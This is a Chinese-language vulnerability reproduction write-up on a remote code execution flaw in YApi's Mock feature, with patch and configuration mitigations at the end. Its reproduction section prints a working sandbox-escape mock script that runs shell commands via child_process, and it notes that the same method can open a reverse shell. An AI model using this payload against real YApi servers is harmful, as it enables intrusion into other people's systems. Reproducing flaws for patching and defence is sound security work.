YApi Mock功能遠程代碼執行漏洞復現
VSole2021-07-16 09:04:08
0x01 簡介
YApi 是高效、易用、功能強大的 api 管理平臺是國內某旅行網站的大前端技術中心開源項目,使用mock數據/腳本作為中間交互層,為前端后臺開發與測試人員提供更優雅的接口管理服務,該系統被國內較多知名互聯網企業所采用。
0x02 漏洞概述
近日,網絡上爆出 YApi 的遠程代碼執行 0day 漏洞,漏洞等級為高危,且正被廣泛利用。攻擊者通過注冊用戶后,即可通過Mock功能遠程執行任意代碼。
因為大量用戶使用YApi的默認配置并允許從外部網絡訪問YApi服務,導致攻擊者注冊用戶后,即可通過 Mock功能遠程執行任意代碼。
0x03 影響版本
YApi7月7日前版本
0x04 環境搭建
docker部署:
https://github.com/Ryan-Miao/docker-yapi
0x05 漏洞復現
1.注冊用戶

2.添加項目

訪問/add-project

3.添加接口


4.設置mock
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ifconfig").toString()

5.查看Mock地址

6.訪問Mock地址
命令成功執行:

7.同理,也可利用命令反彈shell

0x06 修復方式
1、關閉YApi用戶注冊功能;修改完成后,重啟YApi服務
在"config.json"添加"closeRegister:true"配置項:
{
"port": "*****",
"closeRegister":true
}
2、暫時關閉mock功能(需要修改YApi代碼)
在"config.json"中添加"mock: false";
"exts/yapi-plugin-andvanced-mock/server.js"中找到
if (caseData&&caseData.case_enable{...}
在其上方添加
if(!yapi.WEBCONFIG.mock) {return false;}
3、白名單限制;
安全組配置白名單訪問,或者使用NGINX進行代理,限制白名單IP訪問;
4、檢查用戶列表,刪除惡意不明用戶;并刪除惡意不明用戶創建的接口及mock腳本。
VSole
網絡安全專家